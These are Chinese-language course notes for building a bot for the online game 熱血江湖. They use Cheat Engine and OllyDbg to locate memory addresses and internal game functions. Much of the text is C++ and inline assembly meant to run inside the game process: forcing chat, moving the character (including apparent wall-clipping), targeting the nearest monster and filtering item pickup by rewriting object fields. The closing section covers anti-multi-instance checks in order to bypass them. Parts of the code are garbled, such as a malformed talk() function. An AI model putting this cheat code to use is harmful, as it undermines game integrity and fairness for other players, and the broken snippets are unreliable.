上節課已經找到游戲喊話CALL了,那么這次我們就要編寫自己的代碼來實現自動喊話,另外還要找一下CALL中參數的來源.先來到00435D57這個地址,我們需要查找ESI的來源,用CE搜索一下就發現了一個綠色基址05A1169C,除了這個基址還有其它的偏移地址,跟了一下偏移發現很難找,所以我們就直接用這個基址了.除了這個CALL的參數之外,還有一個參數就是我們發話的地址,通過CE再查找幾次喊話的內容,找到后我們打開OD,來到0055BD91這個地址,發現了對於字符串的操作代碼

 

 

 

老師在這里對這幾條匯編語句進行了詳細的講解,比如REPNE SCAS 這條匯編語句是取字符串長度  / LEA指令是取地址等等,已記錄在教案中了.那么字符串的地址就是[144F134]+13c,接下來編寫喊話代碼,編寫好后測試了一下發現出錯了,經過查找發現了是匯編的問題,最終代碼如下:

 

//喊話CALL

void talk(const char* text)//喊話內容text

{

 _asm

mov al,al

mov al,al

}

//定義指針指向喊話地址[144F134]+13c;

  char *s; 

  int *p;

  p=(int*)(0x144F134);

  s=(char*)(*p+0x13c);

  memcpy(s,text,strlen(text));//將喊話內容寫到喊話地址

  _asm

{//將上節課的喊話匯編代碼集成到函數中

mov esi,0x5A1169C

 mov esi,[esi]  

 mov edx,[esi]

 push 0x0d

 push 0x0d

 push 0x3ed

 mov ecx,esi

 call [edx+4]

}

}

 

 3.2.1、走路相關數據分析(為分析走路/尋路CALL做准備)

     a、查找當前角色坐標(xhy)

     b、查找目的地坐標(xhy)偏移+基址

     c、找出相關CALL  

     d、push 壓棧的另一種 寫法   

假設:

  存在一個目的地 的坐標

1、浮點數(float) 可以帶小數點(4字節)

  X坐標=61

 

走路CALL 內部:

004574B6: mov [0146cF78],eax //X坐標

00450250: mov [esi],eax //X坐標

 

 push 2

 push y

 push h

 push x

 mov ecx,???

 call 457420 

}

  

push ???

esp=esp-4

/// 關鍵CALL 457420

小結:

 1、找目的地坐標X

 2、通過目的地坐標X 回溯出 走路CALL 00457420

 

 

////////////////////////////////////////////////////////////////

 

游戲中走路是很關鍵的,這節課就是要找出走路CALL,大部分游戲中坐標植有浮點數.我們要找的是目地地坐標,當我們用鼠標點中一個要走到的地址的時候,游戲中就會有這個地址的數值,我們可以先找到當前的坐標,走一下到地方后再搜索一下當前的坐標.如果要找目地坐標的話那么就點一個遠的地址,然后看這些個找到的坐標值哪個像目地坐標.當然人的在移動的過程當中我們也可以通過改變其值來更改目地坐標.當找到目地坐標地址后,我們在CE里下寫入訪問,就是004574B6 mov [0146cf78],eax,我們返回上一層看,就找到了關鍵CALL.

但這里的參數有點特別,不是直接PUSH的,而是通過MOV將要壓入的值傳到寄存器里的.

 

 

 

 

0045E6E6  |.  8B86 781F0000 MOV EAX,DWORD PTR DS:[ESI+1F78]

0045E6EC  |.  6A 02         PUSH 2                                   ;  push 2 //第一個壓棧

0045E6EE  |.  8B8E 7C1F0000 MOV ECX,DWORD PTR DS:[ESI+1F7C]

0045E6F4  |.  83EC 0C       SUB ESP,0C                               ;  esp=esp-0c 分配3個參數堆棧空間

0045E6F7  |.  8BD4          MOV EDX,ESP

0045E6F9  |.  8902          MOV DWORD PTR DS:[EDX],EAX               ;  push [esi+1F78] //x第四個壓棧 [esp]=eax

0045E6FB  |.  8B86 801F0000 MOV EAX,DWORD PTR DS:[ESI+1F80]

0045E701  |.  894A 04       MOV DWORD PTR DS:[EDX+4],ECX             ;  push [esi+1F7c] //h第三個壓棧

0045E704  |.  8BCE          MOV ECX,ESI

0045E706  |.  8942 08       MOV DWORD PTR DS:[EDX+8],EAX             ;  push [esi+1F80]//y第二個壓棧

0045E709  |.  E8 128DFFFF   CALL Client.00457420                     ;  walkroad esi=065E9958

 

 

 

 

 更新 走路CALL地址為:CALL 00457D60

 3.2.2、走路功能CALL及相關分析

      a、分析走路狀態開關

      b、測試走路CALL

      c、確定功能CALL及參數

 

    push 2

    push y

    push h

    push x

    mov ecx,???

  call ???

 

////////////////1111111111

mov ecx,065FEC8C

push 2

sub esp,0c

mov edx,esp

mov edi,0C2C6B7B9

mov [ecx+1F78],edi  //x

mov [edx],edi

mov edi,0C3B3F7F1

mov [ecx+1F7c],edi

mov [edx+4],edi

mov edi,45045400

mov [ecx+1f80],edi

mov [edx+8],edi

CALL 00457D60

///////////////////22222222222

 

對esi+1F78內存地址 下寫入斷點 以找其它走路相關CALL

mov ebx,065FEC8C

mov ecx,0  

mov [ebx+0d8c],ecx

MOV DWORD PTR DS:[EBX+0D88],ECX

 MOV DWORD PTR DS:[EBX+200],ECX

MOV DWORD PTR DS:[EBX+1FC],ECX

 MOV BYTE PTR DS:[EBX+245],0

MOV BYTE PTR DS:[EBX+2D10],0

 MOV WORD PTR DS:[EBX+1664],0

 MOV BYTE PTR DS:[EBX+0F8],0

 MOV EDX,DWORD PTR DS:[EBX]

 push 0

 push esi

 push 3f2  

 mov ecx,ebx

 call [edx+4]

 

//////////////////////////////////

ecx= 065FEC8C

ecx+1F78 // xhy

     +1F78+4 //1f7c=h

    + 1f78+8  //1f80=y

ecx+14DC  //x

      +14DC+4//14e0=h

      +14DC+8//14e4=y

////////////////////////////////////333333333333

lea eax,xhy

push esi //現在的坐標地址

push eax //前往地址

mov ecx,065FEC8C

CALL 0045F480

////////////

///////////////////////////////////////44444444444

CALL 004E5BF0 //可能是走路CALL

 PUSH 144ED20 //鼠標所在 坐標1024*768

 

 

 

//////////////////////////////////////////////////////////////

 

上節課找出的走路CALL這節課要進行測試,我們還是照着游戲中寫座標的代碼來進行編寫,確定一下坐標是如何調用的,這段代碼還真是比較多.試了一次沒反應,又試一次還沒反應.(教案測試代碼第一段)

 

所以我們對ESI+1F78這里下寫入斷點看看,我們又來到另一段匯編中,一直找到頭部,但是下斷馬上被斷了,所以不行,那么回來再看看,測試一下,又錯了.(教案測試代碼第二段)

 

我們再到這個CALL的上一級看一下,再測試,還是不太像(教案代碼三)

 

再繼續向前找,還有一個比較像的,(教案代碼四)

 

本節課一共是58分,卻沒有找到真正的走路CALL.我說明熱血江湖的走路確實不好搞,而且老師也很有耐心找.可惜老師講課沒有備課,最終也沒找到走路CALL,不想看過程而只想知道結果的本課跳過直接看下節課好了.

 

 

3.2.3、對找到的幾個疑是CALL進行測試

      a、分析出疑是CALL相關參數

      b、對找到的CALL進行逐一測試

      c、確定真正的走路CALL

 

////////////////1111111111

mov ecx,065FEC8C

push 2

sub esp,0c

mov edx,esp

mov edi,0C2C6B7B9

mov [ecx+1F78],edi  //x

mov [edx],edi

mov edi,0C3B3F7F1

mov [ecx+1F7c],edi

mov [edx+4],edi

mov edi,45045400

mov [ecx+1f80],edi

mov [edx+8],edi

CALL 00457D60

///////////////////22222222222

 

對esi+1F78內存地址 下寫入斷點 以找其它走路相關CALL

mov ebx,065FEC8C

mov ecx,0  

mov [ebx+0d8c],ecx

MOV DWORD PTR DS:[EBX+0D88],ECX

 MOV DWORD PTR DS:[EBX+200],ECX

MOV DWORD PTR DS:[EBX+1FC],ECX

 MOV BYTE PTR DS:[EBX+245],0

MOV BYTE PTR DS:[EBX+2D10],0

 MOV WORD PTR DS:[EBX+1664],0

 MOV BYTE PTR DS:[EBX+0F8],0

 MOV EDX,DWORD PTR DS:[EBX]

 push 0

 push esi

 push 3f2  

 mov ecx,ebx

 call [edx+4]

 

//////////////////////////////////

ecx= 065FEC8C

ecx+1F78 // xhy   //源地址坐標

     +1F78+4 //1f7c=h

    + 1f78+8  //1f80=y

ecx+14DC  //x

      +14DC+4//14e0=h //目的地址坐標

      +14DC+8//14e4=y

////////////////////////////////////333333333333

void walk1(float xhy[3])

{

_asm{

mov ecx,0x065FEC8C

lea eax,xhy

 lea esi,[ecx+0x1F78]

push esi //現在的坐標地址

push eax //前往地址 

mov eax,0x0045F480

call eax}

}

////////////

///////////////////////////////////////44444444444

CALL 004E5BF0 //可能是走路CALL

 PUSH 144ED20 //鼠標所在 坐標1024*768

void walk2(float xhy[3])//目的地坐標地址

{

_asm{

mov ecx,0x065FEC8C

mov ebx,ecx

lea edi,[ebx+0x8c]

push edi

lea ecx,[ebx+0x1fa4]

push ecx

lea edx,[ebx+0x88]

push edx

 

lea esi,[ecx+0x1F78]

push esi //現在的坐標地址

lea eax,xhy

push eax //前往地址 

mov eax,0x0045F480

call eax}

}

 

 

 

////////////////////////////////////////////////

 

繼續上節課,對這幾個比較像的走路CALL進行測試,發現代碼3找到的CALL是正確的,我們再來找一下原地址和目地地址坐標.在VC里編寫代碼已在教案中.寫入代碼后測試還是沒有反應.

再看看另外一段匯編代碼(代碼4),寫入代碼后一調用,游戲出錯了.修改之后調用發現是用右鍵走路有點奇怪.

本節課最終仍然沒有弄好游戲 的走路功能,看來真的很難.

 

 

 3.2.4、走路功能集成到函數

      a、走路CALL 狀態開關分析

      b、分析狀態開關 基址+偏移

      c、完成走路CALL函數Walk(x,y)

1、狀態開關分析

  假設 角色有某個屬性

  b:0 表示 走路 1表示 站立

打開CE 

  假設 站立時 b狀態0

先讓人物跑起來 b狀態1

 

 

////////////////1111111111

 

00457dbf fcomp dword ptr[0146dff8] //X

00457df6 mov [0146dff8],eax //目的地坐標基址

06600168 用OD來找 目的地坐標基址

//

004f6ca cmp dword ptr[ebx+000014f4],1//

0044f5e0 mov al,[ebx+14f8] //

00450583 mov byte ptr[esi+1c],01//14f8寫入

00459a0b mov byte ptr[ebx+esi+0000d95],01//

0044f5da mov [ebx+0000d9a],al//1字節

 

065FEC8C+14F4 //跑步 時置1 Dword

          +14F8 //跑步 時置1 byte

          +d95 //跑步 置0

          +d9a //跑步 置0 

 

///////////////////////////////////////////////////////////////////////////////////////////////

 

 

因為前面通過目地地址找CALL已經失敗,所以我們這次要CE通過走跑狀態來找CALL,一般情況下人物未動是0,移動起來則是1,這樣經過多次的搜索,這樣找到了幾個值.保存一下這幾個地址,然后再找一下當前坐標的值,但是數值不太好找,借鑒一下上節課查找的偏移再找一下.這樣反復查找多次.

發現需要改兩個地方人物可以跑起來了,一個是更改目地坐標,另一個是走跑開關,那么我們來查找一下訪問這個目地坐標的地址.將這幾個訪問地址記下來,並且將走跑開關的地址也記下來(已經在教案中記錄了).

 

 3.2.5、利用分析數據 實現走路/尋路

     a、走路功能代碼實現

     b、測試

     c、封裝到walk(x,y)

 

dd 065FEC8C+14dc //目的地址

 

void walk(float x,float y)

{

float xhy[3];

xhy[0]=x;

xhy[1]=300;

xhy[2]=y;

_asm

{

//mov [0146dff8],x //目的地坐標基址

   ///mov [065FEC8C+14dc],x 目的地坐標基址

mov ebx,0x0146dff8

mov eax,x

mov [ebx],eax

mov eax,y

mov [ebx+0x8],eax

mov  ebx,0x065FEC8C

add ebx,0x14dc

mov eax,x

mov [ebx],eax

mov eax,y

mov [ebx+0x8],eax

 //065FEC8C+14F4 //跑步 時置1 Dword

     //     +14F8 //跑步 時置1 byte

        //  +d95 //跑步 置0

         // +d9a //跑步 置0 

       mov  ebx,0x065FEC8C

   mov  [ebx+0x14f4],1

   mov byte ptr [ebx+0x14f8],1

   mov [ebx+0xd95],1

   mov [ebx+0xd9a],1

 

 

}

 

/////////////

void walk3(float xhy[3])

{ float x,h,y;

 x=xhy[0];

 h=xhy[1];

 y=xhy[2];

_asm

{

mov ecx,0x065FEC8C

push 2

sub esp,0x0c

mov edx,esp

mov edi,x

mov [ecx+0x1F78],edi  //x

mov [edx],edi

mov edi,h

mov [ecx+0x1F7c],edi

mov [edx+4],edi

mov edi,y

mov [ecx+0x1f80],edi

mov [edx+8],edi

mov eax,0x00457D60

call eax

}

}

 

 

///////////////////////////////

 

上節課已經將走路的方法找出了,本節課是要寫代碼在VC里實現.還是先打開OD附加游戲找一下目地坐標也就是ESI的來源.寫下walk這個走路的函數,代碼已經在上面教案中.測試一下,雖然能走了,但是感覺有點奇怪,竟然能穿牆?我們將游戲小退一下再進入看人物到底移動沒移動,原來沒有真正的移動而是看到的假像~

 

又寫了walk3這個函數,再來試一次,人物看起來是移動了,那么小退一次呢?回來發現確實移動了.在測試的過程當中他好像可以穿牆?那么更改一下坐標再來試一次,人物直接就走進去了,沒太搞清楚怎么回事,怎么看起來像是在瞬移呢.

 

 

3.3.1、怪物列表關鍵代碼分析  

             a、怪物列表(分析原理)

             b、回溯怪物列表基址+偏移

             c、取得怪物對象的公式

 

准備工具 CE5.4/OD1.1

 

  說怪物對象 (多個)

  放在一個數組里邊

  (怪名字+怪物血量+怪物等級)-怪對象-怪物列表-??

   1、找怪名字(偏移) 065948C4

   2、怪對象 (偏移)

   3、怪數組基址(基址/偏移)

   4、繼續找基址

 

  dd [5A12280+index*4] //index是 數組下標值

   +8 //總的分類號

   +C //怪對象列表內的 下標值

   +320 //怪對象名字

  

 

///////////////////////////////////////////////////////////

 

找怪物對象的突破口一般是在怪物的ID,而找怪物一般是通過名字為突破口.我們先來CE找一下怪物”狐狸”,搜索到很多值,其中綠色基址的就不是我們需要找的,因為怪物的名字一般是偏移出現的,所以我們就將偏移的地址都將名字改一下,比如這個被改成1116就是了.我們將當前選中的怪下CE訪問,當攻擊怪物的時候就出現了內存地址,在CE里看了一下還是開啟了OD進行附加.

發現EDI就是怪物名字,向上查找EDI的來源,向上找上級CALL…發現了一個總的對象偏移地址…包含各個NPC的下標,然后再多看幾個值,找出了幾個有用的偏移值,也就是教案中的公式.

 

0044F228  |. /75 33         JNZ SHORT Client.0044F25D

0044F22A  |. |D905 68F04401 FLD DWORD PTR DS:[144F068]

0044F230  |. |DCC0          FADD ST(0),ST(0)

0044F232  |. |D8A9 04010000 FSUBR DWORD PTR DS:[ECX+104]

0044F238  |. |D999 04010000 FSTP DWORD PTR DS:[ECX+104]

0044F23E  |. |8B8B 9C1F0000 MOV ECX,DWORD PTR DS:[EBX+1F9C]

0044F244  |. |D981 04010000 FLD DWORD PTR DS:[ECX+104]

0044F24A  |. |D81D DC568300 FCOMP DWORD PTR DS:[8356DC]

0044F250  |. |DFE0          FSTSW AX

0044F252  |. |F6C4 01       TEST AH,1

0044F255  |. |74 06         JE SHORT Client.0044F25D

0044F257  |. |89B9 04010000 MOV DWORD PTR DS:[ECX+104],EDI

0044F25D  |> \8B83 30150000 MOV EAX,DWORD PTR DS:[EBX+1530]                  ;  選中怪ID

0044F263  |.  3D FFFF0000   CMP EAX,0FFFF

0044F268  |.  74 25         JE SHORT Client.0044F28F

0044F26A  |.  8B0C85 8022A1>MOV ECX,DWORD PTR DS:[EAX*4+5A12280]             ;  根據怪ID值 取出怪對象基址

0044F271  |.  3BCF          CMP ECX,EDI

0044F273  |.  74 1A         JE SHORT Client.0044F28F

0044F275  |.  8B01          MOV EAX,DWORD PTR DS:[ECX]

0044F277  |.  57            PUSH EDI

0044F278  |.  57            PUSH EDI

0044F279  |.  68 0F040000   PUSH 40F                                         ;  dd [EAX*4+5A12280]+320

0044F27E  |.  FF50 04       CALL DWORD PTR DS:[EAX+4]

0044F281  |.  85C0          TEST EAX,EAX

0044F283  |.  74 0A         JE SHORT Client.0044F28F

0044F285  |.  C783 30150000>MOV DWORD PTR DS:[EBX+1530],0FFFF

0044F28F  |>  39BB 54150000 CMP DWORD PTR DS:[EBX+1554],EDI

0044F295  |.  74 1E         JE SHORT Client.0044F2B5

 

 

 

 

      3.3.2、怪物屬性分析 

             a、怪物名

             b、怪物血量

             c、怪物ID

             d、怪物與玩家距離  

             e、基址特征碼           

 

准備工具 CE5.4/OD1.1

 

  說怪物對象 (多個)

  放在一個數組里邊

  (怪名字+怪物血量+怪物等級)-怪對象-怪物列表-??

   1、找怪名字(偏移) 065948C4

   2、怪對象 (偏移)

   3、怪數組基址(基址/偏移)

   4、繼續找基址

 

  dd [5A12280+index*4] //index是 數組下標值

   +8 //=2E 是怪物可能是NPC 總的分類號

   +C //怪對象列表內的 下標值

   +14 // 服務器上 對象ID(對象在服務器唯一ID標識)(?)

   +31C //怪到玩家距離

   +320 //+8=2E 怪對象名字

   +608//當前血值 //NPC血值0x32000

   +60c//怪物等級(?)

   +624//血值上限

   +6d8 //對象分類編號(比如貓XXXX,狐狸271F NPC為1 (?)

   怪死亡 [065948C4+1530]=FFFF;

////////

MOV DWORD PTR DS:[ECX+104],EDI

MOV EAX,DWORD PTR DS:[EBX+1530]  

CMP EAX,0FFFF

//////////////

  

b、怪物血量

1E-64

 

 

 

/////////////////////////////////////

 

上節課已經找出了怪物的幾個有用偏移,本節課將盡量找出更多的信息.而找信息則是一點一點的猜測,其中各個偏移有很多的數據,但我們都不清楚它們是什么,只能通過游戲中怪物或NPC的信息來對號,幸好有一些數被我們對上了……最后猜其中偏移的類型中有NPC的標識.

隨筆:本節課是精典的偏移分析課,注意找名字的時候要看ASCII碼或者UNCODE,找坐標的時候要查看浮點數,而且不止是查看當前的偏移值,看着像個對象值的偏移,我們還要向下看其中是否還有偏移.我們得佩服郁金香老師的耐心和所分析的數據,都是從大量的實踐中得出的結構.當然有用的也要記下特征碼.

 

 3.3.3、怪物過濾的編寫代碼           

            a、讀出怪物列表

            b、過濾掉指定怪物 

            c、選定特定怪物 

            d、過濾打怪測試  

            e、選中最近怪物          

 

    [5A13A80+index*4] //index是 數組下標值

   +8 //=2E 是怪物可能是NPC 總的分類號

   +C //怪對象列表內的 下標值

   +14 // 服務器上 對象ID(對象在服務器唯一ID標識)(?)

   +31C //怪到玩家距離

   +320 //+8=2E 怪對象名字

   +608//當前血值 //NPC血值0x32000

   +60c//怪物等級(?)

   +624//血值上限

 

 for (int i=0xa00;i<0xdff;i++)

{

  monobj=[CurListBase+index*4];//取得怪物對象基址

  if (*monobj==0){return;};怪物數組結尾;

  if (  monobj_8==0x2E) //才是怪物,NPC

      {

          //是怪對象,或者是NPC

       if ( monobj_31c<50) 

          {

          //顯示怪物信息 怪ID,怪名字

           }

       }

}

 

 

 

 

////////////////////////////////////////////////

 

上節課找了很多有用的信息,本課是要編寫代碼讀出一些數據,建立一個怪物列表的基址,然后用FOR語句來遍歷范圍內的怪物.

 

void CPAGE1::OnBtnReadmonlist() 

{  //清空列表內容

m_monlist_ctl.ResetContent();//清空列表內容

int *selmonb, *monobj,*monobj_8,mini;//定義指針變量

float *monobj_31c,minf;//坐標變量,最小距離

char * monobj_320;// 存放怪物名

minf=250;mini=0;//最小距離初始化

 for (int i=0xa00;i<0x0Fff;i++)//設定遍歷范圍

 {

  monobj=(int*)(CurListBase+i*4);//取得怪物對象基址

  if (*monobj==0){

  //顯示 距離最近怪物

  char minc[22];//顯示怪ID mini

  memset(minc,0,22);//清零

  itoa(mini,minc,16);

  //semon(i);

  selmonb=(int*)(CurListBase+mini*4);

   _asm

{

 mov edi,selmonb //怪對象基址指針

 mov edi,[edi]//怪對象基址

 mov eax,[edi]

 push 0

 push 1

 push 0x44c

 mov ecx,edi

 mov eax,[eax+4]

 call eax  

  m_monlist_ctl.AddString(minc);//顯示 最近怪物ID

  return;};//怪物數組結尾;

      monobj_8=(int*)(*monobj+8);

  monobj_31c=(float*)(*monobj+0x31c);//距離

  monobj_320=(char*)(*monobj+0x320);//取得怪物名地址

  if (  *monobj_8==0x2E) //分辨怪物和NPC

      {

          //是怪對象,或者是NPC

       if ( *monobj_31c<150) 

          {

   //顯示怪物ID號]

   char monid[16];//怪物ID

   char msg[256];//怪物名字地址

   itoa(i,monid,16);//怪物ID

   memset(msg,0,256);//內存清零,大小為256字節

           strcat(msg,monobj_320);//存放怪名字到msg字串

           strcat(msg,monid);//加上怪ID msg=monobj_320+monid

   //取得距離玩家最近 怪物ID號

if (*monobj_31c<minf) //縮小怪物距離范圍

{ minf=*monobj_31c;//取得最小值

  mini=i;

}

          //顯示怪物信息 怪ID,怪名字

   m_monlist_ctl.AddString(msg);

           }

       }

}

    

}

 

 

 

附:322相關函數說明

 

Memset(monmsg,0,256);//清代零內存,很重要,因為分配時緩沖區可能非零

Strcpy(monmsg,moindc);//字串復制

Memcpy(monmsg,monName,strlen(monName));//字串復制

Itoa(*monid,monidc,16);//把整數monid,轉換成16進制數存放到monidc緩沖區

Strcat(monmsg,monidc);//字符串加法類似Delhi的Monmsg:=monmsg+monidc;

 

CblistBox屬性

ResetContent();//清空

AddString(s);//添加一行內容S為字串

 

異常處理

_try

{

} //end try

_except(EXCEPTION_EXECUTE_HANDLER)

{ return;}

// EXCEPTION_EXECUTE_EXECUTION (-1) 忽略異常,繼續在發生異常的地方執行.

// EXCEPTION_EXECUTE_SEARCH (0) 異常在這里處理,在SHE鏈中查找下一個處理器

// EXCEPTION_EXECUTE_HANDLER(1) 在_except中執行,然后在_except后面執行.

 

 

隨筆:這本課也比較長,合適於仔細學習代碼編寫.

  3.4.1、物品屬性分析   

             a、物品ID

             b、物品對象

             c、物品屬性分析               

 

MOV DWORD PTR DS:[ECX+104],EDI

MOV EAX,DWORD PTR DS:[EBX+1530]  

CMP EAX,0FFFF

 

MOV ECX,DWORD PTR DS:

[EAX*4+5A13A80]//物品對象基址 及公式

 

dd 9d0*4+5A13A80 //物品屬性

 +8 //分類編號 33時表示物品

 +C //在對象數組中的 下標值 (通用)

 +90//名字

 +64//與玩家距離

 +48 ,+13c,+194//物品坐標值

 

 

 

///////////////////////////////////////////////////////

 

因為游戲更新了,先用上次的特征碼查找到游戲的對象列表,再測試一下確實是很多怪物的對象,在當前選中怪處(+1530的偏移)下硬件寫入,然后拾取一個物品,被斷下來了.然后我們再找一個拾取物品的名字,偏移是+90,這樣就通過撿物找出了當前物品的對象及名字.

再來測試一下,在拾取物品的時候下斷,然后將物品的ID修改掉看是什么情況?果然撿不起來了.然后又找了一下物品與玩家的距離是+64,當前坐標是+48/+13C/+194

最后也證實了,物品對象/怪物對象/NPC對象/玩家對象都是這同一個地址(教案里那個紅字).

 

 3.4.2、物品過濾(編程讀出物品列表數據)

             a、讀出物品列表

             b、條件判斷是否撿物(距離,物品名)

             c、顯示出提示信息  

 

 

MOV DWORD PTR DS:[ECX+104],EDI

MOV EAX,DWORD PTR DS:[EBX+1530]  

CMP EAX,0FFFF

 

MOV ECX,DWORD PTR DS:

[EAX*4+5A13A80]//物品對象基址 及公式

 

dd 9d0*4+5A13A80 //物品屬性

 +8 //分類編號 33時表示物品

 +C //在對象數組中的 下標值 (通用)

 +64//與玩家距離

 

 +90//名字

 +48 ,+13c,+194//物品坐標值

 

/////////////////////

 

for (int i=0xa00;i<0x0Fff;i++)

{

 如果  goods.8==0x33 說明是物品

      顯示出物品

        列表框.添加一行(goods.90);

}

 

 

void CPAGE1::OnBtnReadgoodlist() 

{

  //清空列表內容

m_monlist_ctl.ResetContent();

int* Goodsobj;//指向物品對象基址

int* obj_8;//分離編移 0x33才表示物品

char* obj_90; //物品名字

float* obj_64; //與玩家距離

char showstr[512],st[33];//物品名

 for (int i=0x0;i<0x1Fff;i++)

 {

  Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){return;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x33/*判斷是否為物品類*/)

  {//如果是物品則執行下列操

          obj_90=(char*)(*Goodsobj+0x90);//指針指向物品名字

  obj_64=(float*)(*Goodsobj+0x64);//此指針指向與玩家的距離

   //顯示出來

   memset(showstr,0,512);//清空內存

   memcpy(showstr,obj_90,strlen(obj_90));//將字符串保存

   //strcat;字串+

   strcat(showstr,",距離:");

   //顯示距離

   //itoa((int)obj_64,st,10);//把距離 轉成字串 存放到st

   sprintf(st,"%f",*obj_64);//格式轉換為浮點

   strcat(showstr,st);//將距離加在物品后面

   //在列表控件里添加一行

   if (*obj_64<60 /*&& (strcmp(obj_90,"金創葯(小)")==0)*/) //物品過濾只顯示需要的東西

   {

    m_monlist_ctl.AddString(showstr);//添加到列表中

   }

  

  }

 }

}

 

////////////////////////////////////////////////////////////

 

在代碼中添加”讀取物品列表”按鈕,用前面的讀取怪物列表代碼拿過來看一下,然后重寫……

測試了一下確實可以讀出地上物品了,但是距離顯示錯誤,所以再轉換一下.再測試一下,發現物品離遠一點就讀不出來了.

隨筆:本節課又是一個經典的代碼編寫課,對我這個不太會VC的人要仔細看.

3.4.3、撿物過濾

             a、分析撿物深層CALL

             b、PickID(物品ID);

             c、撿物過濾

             d、撿物范圍控制

 

 1、修改物品分類,ECX+8=0x88,執行撿物動作,ECX+8=0x33;

 2、找出深層撿物CALL,自己寫代碼遍歷整個對象列表,獲取最近物品(過濾掉不需要物品),深層撿物(對象,對象ID);

 

MOV ECX,DWORD PTR DS:[5A199C0]

CALL 0045F9D0

 

DEC  eax/ebx/ecx/edi/esi/edx/ax/ 減1指令

dec eax //eax=eax-1;

 

 

dd 9d0*4+5A13A80 //物品屬性

 +8 //分類編號 33時表示物品

 +C //在對象數組中的 下標值 (通用)

 +64//與玩家距離

 

 +90//名字

 +48 ,+13c,+194//物品坐標值

 

FCOMP DWORD PTR DS:[8356D8] //撿物范圍 控制 float類型

LEA EAX,DWORD PTR DS:[ESI+64] //物品與人物之間的偏移

 

MOV DWORD PTR DS:[ESI+14F0],EBX//寫入要撿物ID

 

 

 

 

 

 

//過濾物品 金創葯(小)

//寫入+8==33 並且+90="金創葯(小)" +8=0x88

MOV ECX,DWORD PTR DS:[5A199C0]

CALL 0045F9D0

//找出+8=0x88 恢復成33

 

break 是跳出循環,,而return則是退出函數

 

 

 

 

 

 

////////////////////////////////////////////////////////////

 

又是一節大長課53分鍾~老師講的很細.

今天要弄撿物過濾,先找到撿物CALL處,找到之前所做的注釋處,進入CALL里進行驗證,是正確的,所以記下特征碼.

0045FA06  |.  8379 08 33    |CMP DWORD PTR DS:[ECX+8],33

0045FA0A  |.  75 32         |JNZ SHORT Client.0045FA3E

0045FA0C  |.  8B01          |MOV EAX,DWORD PTR DS:[ECX]              ;  撿物CALL 內部$+3C

0045FA0E  |.  6A 00         |PUSH 0

0045FA10  |.  6A 00         |PUSH 0

0045FA12  |.  6A 00         |PUSH 0

0045FA14  |.  FF50 04       |CALL DWORD PTR DS:[EAX+4]

0045FA17  |.  8BC8          |MOV ECX,EAX

0045FA19  |.  D901          |FLD DWORD PTR DS:[ECX]

 

然后再用鍵盤撿物下斷,看一下CALL內部的情況,找到了一個對象列表的基址,然后看到下面在不斷的+4遍歷整個列表,應該是一個FOR循環,結束的條件就是EBP-8這里.而這段代碼中還有對物品類型等的比較,坐標等信息.再看看我們發現的撿物范圍是否正確.

在代碼注入器里測試一下代碼試試,沒有撿物也沒有出錯.

在VC里編寫代碼,意思是先遍歷到當前物品,如果是我們要的,就將物品類型改成0x88,這樣物品類型就不對了所以就不會撿,否則就實行撿物.這樣測試了一上金創葯(小)果然沒有撿.

 

void CPAGE1::OnPickGoodnp() 

{

//清空列表內容

m_monlist_ctl.ResetContent();

int* Goodsobj;//指向物品對象基址

int* obj_8;//分離編移 0x33才表示物品

char* obj_90; //物品名字

float* obj_64; //與玩家距離

char showstr[512],st[33];

 for (int i=0;i<0x1Fff;i++)

 {

  Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){break;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x33/*判斷是否為物品類*/)

  {//如果是物品則執行下列操

          obj_90=(char*)(*Goodsobj+0x90);//指針指向物品名字

  obj_64=(float*)(*Goodsobj+0x64);//此指針指向與玩家的距離

   //顯示出來

   memset(showstr,0,512);//清空內存

   memcpy(showstr,obj_90,strlen(obj_90));

   //strcat;字串+

   strcat(showstr,",距離:");

   //顯示距離

   //itoa((int)obj_64,st,10);//把距離 轉成字串 存放到st

   sprintf(st,"%f",*obj_64);

   strcat(showstr,st);

   //在列表控件里添加一行

   if ( (strcmp(obj_90,"金創葯(小)")==0)) 

   {

    *obj_8=0x88;

   }

  

  }

 } //實行過濾

    //撿物

  m_monlist_ctl.AddString("撿物");

  _asm

  {

  MOV ECX,0x5A199C0 //mov ecx,5A199C0

  mov ecx,[ecx]

      mov eax,0x0045F9D0

  call eax

  }

 

 //////////遍歷恢復

  for ( i=0x0;i<0x1Fff;i++)

 {

  Goodsobj=(int*)(CurListBase+i*4);//取得對象基址指針

          if (*Goodsobj==0){return;} //遍歷到對象數組 尾部

  obj_8=(int*)(*Goodsobj+0x8);//指針指向分類編號

  if (*obj_8==0x88/*判斷是否為物品類*/)

  {//如果是物品則執行下列操

             *obj_8=0x33;

  }

 }

}

 

 

3.4.4、游戲多開實現

             a、游戲防止多開的原理

             b、找出本游戲多開的方法

             c、測試驗證

 1防止程序多開的原理

  

  游戲主程序的防止同一程序同時運行多個實例的檢測~

方法1:

 a\FindWindow(類名,窗口標題) 如果返回句柄>0 退出

 b\EnumWindow 配合GetWindowText(h,lpCaption,255); if lpCaption==游戲標題 then 退出

 c\GetWindow(hwnd,GW_HWNDFIRST) GetWindow(hwnd,GW_HWNDNEXT) 配合GetWindowText

方法2:互斥體

 CreateMutex(nil, false, pchar(ApplicationName));//配合

if  Getlasterror == ERROR_ALREADY_EXISTS {已經有一個實例運行退出}

方法3:全局共享節 

方法3、 創建共享節

1、

#pragma data_seg("Shared")

bool isExist = false;   /*已經初始化變量*/

int num1;               /*未初始化變量*/

#pragma data_seg() 

2、 

  將初始化或未初始化的數據放入希望的任何節中

__declspec(allocate("Shared")) int num2 = 0;   /*添加初始化的變量*/

__declspec(allocate("Shared")) int num3;       /*添加未初始化的變量*/

注:在向節中添加數據之前必須先創建該節。

3、 

  設置節的屬性

#pragma comment(linker, "/Section:Shared,RWS")

注:節的屬性包括RWS,其中R代表READ,W代表WEITE,S代表SHARED。

 

 

 

// Login Client

 

 

///////////////////////////////////////////////////////

 

課程的背景不是梅州改成郁金香了?

原本是要先找組隊的,這就需要游戲多開,所以把后面的多開課程拿到這里來講.游戲防多開的方法有很多,這里介紹了幾種最常見的方法(教案中).

為了更好的說明問題,在VC中編寫了幾個上述的防多開程序,

 

方法1:

